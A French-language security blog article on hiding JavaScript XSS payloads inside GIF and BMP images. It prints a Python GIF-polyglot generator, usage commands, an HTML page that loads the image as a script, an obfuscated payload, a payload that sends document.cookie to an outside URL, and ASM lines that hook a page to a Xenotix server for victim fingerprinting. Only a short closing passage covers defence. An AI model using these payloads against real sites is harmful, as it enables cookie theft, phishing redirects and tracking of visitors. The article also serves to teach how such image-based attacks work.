Quand l'image se met au service de l'XSS
XSS, on connaît, on sait depuis que la plupart des plates-formes web et applications à un petit bug affilié à l'injection JavaScript. C'est pour cela que ces 5 dernières années XSS a bravé chaque marche vers le sommet des failles applicatives.
J'ai écrit à l'époque pas mal d'articles ou d'ebook traitant du sujet et il s'avère qu'aujourd'hui, elle a atteint son apogée auprès de la jeunesse geek.
Même google s'y est mis avec cet excellent site pour apprendre tout en s'amusant et surtout avec les techniques pour se prémunir de cette attaque :
https://www.google.com/about/appsecurity/learning/xss/
Cependant, même si l'injection de fichier fait progressivement sombrer ses places au Top 10, je pense qu'il fallait que l'on parle du travail sur image.
Qu'est-ce qu'une image ?
On en connaît surtout ses principales extensions BMP, JPEG, PNG et GIF. Je ne vais pas m'attarder sur ce sujet, on s'écarterait du thème.
Beaucoup de spécialistes en sécurité aiment tester les recoins et les limites de défense des applications. La protection contre le XSS a amené à une période à chercher de nouveaux vecteurs offensifs.
Alors si l'on ne peut injecter directement un script JS, comment faire ?
Ils ont remarqué que si l'administrateur ou la plate-forme permettait d'exécuter des fichiers sources JS chargés depuis le même domaine, on aurait alors la possibilité de contourner le système. Pour cela, l'application Web doit avoir un WYSIWYG éditeur qui permettra d'écrire du HTML et le téléchargement des images.
Alors là, il a suffi pour les pirates informatiques de créer un programme ou un script dans leur langage favori afin de pouvoir soit insérer le script dans l'image, soit créer une image simple mais contenant le payload.
Le payload un mot qui veut juste dire pour les débutants le script qui agit. Si vous êtes dans le cadre d'une faille SQL, vous aurez un payload qui agira sur la faille par exemple en extirpant les identifiants directement de la base de données.
Une faille XSS agira de plusieurs manières, cela dépendra de son type : stored ou reflected.
Je ne reviendrais pas sur tout, mais ce qu'il est intéressant dans ce cas précis serait d'Hook à l'aide d'une image infectée d'un payload qui aura comme action une redirection vers un phishing site, voire vers un collecteur de base de cookies.
Hook signifie que l'on veut accrocher la cible, on cherche à l'amener à utiliser notre payload. Malgré, la force de XSS, souvent on doit agir sur les intentions de la victime.
Pour cet article, on va voir trois scripts différents qui ne sont pas de moi. Le premier est codé en ASM, le second en Python et le dernier en C.
GIF injecté en Python.
Voici les deux scripts : http://pastebin.com/6yUbfGX5 et http://pastebin.com/04y7ee3u
Dans ce script en python, on peut rapidement voir que cette partie s'occupe de la création et de l'injection du payload.
Code:
def _generate_and_write_to_file(payload, fname): """ Generates a fake but valid GIF within scriting """ f = open(fname, "wb") header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width b'\x0A\x00' #Smal Logical Screen Height b'\x00' #GCTF b'\xFF' #BackgroundColor b'\x00' #Pixel Ratio b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks b'\x2A\x2F' #Commenting out */ b'\x3D\x31\x3B' # enable the script side by introducing =1; ) trailer = b'\x3B' # I made this explicit, step by step . f.write(header) f.write(payload) f.write(trailer) f.close() return True
Il ouvre le header avec l'en-tête \x2A\x2F, ce qui signale qu'il s'agit d'un GIF. Ouvrez une image GIF à l'aide d'un logiciel HEXADECIMAL et vous verrez le Metadata : GIF89a correspondant à : "\x47\x49\x46\x38\x39\x61".
Pour plus d'informations : http://giflib.sourceforge.net/whatsi...and_bytes.html
De même pour une image BMP, PNG ou JPEG, on verra à faire attention aux en-têtes et à la signature qui dira à la lecture : "Oui je suis bien une image Gif,…"
Pour les utiliser :
Code:
gif_injector.py -i image.gif "alert(\"Learn XSS with gif\");" gif_injector.py -i image.bmp "alert(\"Learn XSS with gif\");"
Code HTML:
<html> <head> <title>Image XSS injection</title> </head> <body background="http://www.w3schools.com/tags/w3s.png"> <img src="imag.gif_exploit.gif" /> <script src="imag.gif_exploit.gif"></script> </body> </html>
On peut également aller plus loin et obfusquer le code:
Code:
gif_injector.py -i imag.gif "var _0x9c4c=[\"\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\",\"\x0A\",\"\x4F\x4B\"];var a=_0x9c4c[0];function MsgBox(_0xccb4x3){alert(_0xccb4x3+_0x9c4c[1]+a);} ;MsgBox(_0x9c4c[2]);"
Imaginez sur un site qui par exemple accepte n'importe quel format gif mais qui plus est supporte le langage html, il suffirait alors de mettre ceci dans un poste, une signature, un commentaire, … et par exemple d'injecter ce code:
Code:
gif_injector.py -i image.gif "location.replace(\"http://google.com?cookie=\"+document.cookie);"
En C, on a plusieurs scripts qui le permettent comme : https://github.com/jklmnn/imagejs , https://github.com/OsandaMalith/Imag...imgexploiter.c
En ASM : https://code.google.com/p/corkami/do...ame=jspics.zip, https://gist.github.com/ajinabraham/...fb1930f94886a3
nasm gifjs.asm -o imug.gif
Code:
[~] Author: Osanda Malith Jayathissa [~] Website: http://OsandaMalith.wordpress.com [~] E-Mail: osanda[cat]unseen.is [-] Usage: F:\XSS\ImageExploiter-master\ImageExploiter-master\imgexploiter.exe - i <image file name> -f <gif or bmp> -p <payload string> imgexploiter.exe -I imag.gif -f gif –p prompt\(1337\) imgexploiter.exe –i yourimage.bmp –f bmp –p prompt\(1337\)
Laissé un peu pour compte pour son approche un peu trop automatisée, pourtant elle peut découvrir des failles XSS là où vous vous buter depuis des jours. Possédant des centaines de payload intégrés vous aurez vite fait le tour de tout ce qui est capable de faire sur une page web et ceux plus rapidement qu'à la main.
Télécharger le puis une fois le serveur activé -> Paramètres -> Configurer le serveur. Une URL va vous être donnée de cette sorte :
http://127.0.0.1:5058/xook .js
En fait, cela permet d'utiliser le serveur local afin de hooker la page web qui sera infecter ou rediriger dessus.
Pour l'utiliser avec le script il suffit dans gifjs.asm :
Code:
db 's = document.createElement("script");' db 's.src = "http://127.0.0.1:5058/xook.js";' db 'document.body.appendChild(s);'
Code:
Yasm gifjs.asm -o img.gif ou nasm gifjs.asm -o img.gif
Resource interpreted as Script but transferred with MIME type image/gif: "file:///C:/Users/Desktop/jspics/img.gif".
Cela nous donne juste un soupçon que la page avait demandé et interprété une GIF comme JS. Ceci est utile pour les analystes de logiciels malveillants pour identifier les malwares intégrés dans des images.
Maintenant, la page est xooked et vous pouvez utiliser Xenotix pour tirer partie de cette situation. Nous allons utiliser le module IP2Gelocation, Retour à Xenotix et exécuter le module IP2Geolocation de collecte d'information -> Victime d'empreintes digitales -.> IP2Geolocation Cliquez sur empreintes digitales et vous obtiendrez quelque chose comme ca.
Pour se défendre contre les injections XSS, je vous renvoie vers cet excellent article :
http://dotnet.developpez.com/mvc/mvc...ipt-injection/
Mais, il faut surtout éviter de laisser la possibilité d'écrire en HTML n'importe où sur un site.
J'espère que vous aurez appris quelques chose de plus sur les injections XSS. Vous avez pu aussi comprendre que les fichiers peuvent être compromis et ces dernières années des chercheurs en sécurité ont réussis des injections par PDF, DOC, ODT, … Si j'ai du temps je verrais pour créer un article dessus.
Comme quoi, on peut sécuriser au maximum, la sécurité maximum n'existe pas à partir du moment où l'on a posé un pied dans le réseau.
Merci de m'avoir lu, à bientôt.
Source : https://www.owasp.org/index.php/Content_Security_Policy, Marco Ramilli's Blog, entre autre, à l'époque je l'avais découvert à l'aide d'un exellent blogue de sécurité chinois, mais je n'ai plus retrouver l'adresse.
PS: je suis passer sur beaucoup d'explications puisque cet article est destiné à des personnes ayant des connaissances basiques en faille XSS, Format MIMe, Hexadécimal,...
Commentaire